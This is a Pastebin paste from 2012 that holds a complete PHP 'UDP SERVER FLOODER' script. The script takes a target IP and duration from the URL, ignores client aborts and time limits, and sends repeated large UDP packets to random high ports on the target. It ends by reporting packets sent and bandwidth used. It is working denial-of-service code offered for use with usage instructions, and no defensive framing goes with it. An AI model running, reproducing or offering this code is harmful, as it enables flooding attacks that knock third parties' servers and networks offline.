Advertisement
scriptz-team

[PHP] UDP SERVER FLOODER

Jun 4th, 2012
896
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. <?php
  2. /* _____ _____ _ _____ _____ _____ _____ _____ _____
  3. ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
  4. |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
  5. |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
  6. |s C R i P T z - T E A M . i N F O|----------------------------
  7.  
  8. UDP SERVER FLOODER
  9.  
  10. USAGE:
  11. index.php?server_ip=SERVER_IP&time=20
  12. */
  13. $max_time = 300;
  14. $packet_size = 64; //packet size in kB, 64 is a good value
  15.  
  16.  
  17. if (isset($_GET['server_ip'])) {
  18. $server_ip = null;
  19. $time = null;
  20.  
  21. if (isset($_GET['server_ip'])) {
  22. $server_ip = $_GET['server_ip'];
  23. $time = intval($_GET['time']);
  24. } else {
  25. $server_ip = $_POST['server_ip'];
  26. $time = intval($_POST['time']);
  27. }
  28.  
  29. if ($time > $max_time)
  30. $time = $max_time;
  31.  
  32. $packets = 0;
  33. ignore_user_abort(true);
  34. set_time_limit(0);
  35.  
  36. $abort_time = time() + $time;
  37. $content = str_repeat("~w00tw00t~", 32 * $packet_size); //32 bytes * 32 => 1024 => 1kb * packetsize
  38.  
  39. while (time() < $abort_time) {
  40. $port = rand(65500, 65534) + 1;
  41.  
  42. $sock = fsockopen('udp://' . $server_ip, $port, $nErr, $sErr, 3);
  43. if ($sock) {
  44. fwrite($sock, $content);
  45. fclose($sock);
  46. }
  47.  
  48. $packets++;
  49. }
  50.  
  51. echo " <h1>Flooding completed!</h1><br/>\n <h3>Statistics:</h3>\n <h4>Packets: " . $packets . "</h4>\n <h4>Total MB: " . round(($packets * $packet_size) / 1024, 2) . "</h4>\n <h4>Bandwidth: " . round(($packets * $packet_size) / $time) . "kB/s</h4>";
  52.  
  53. }
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement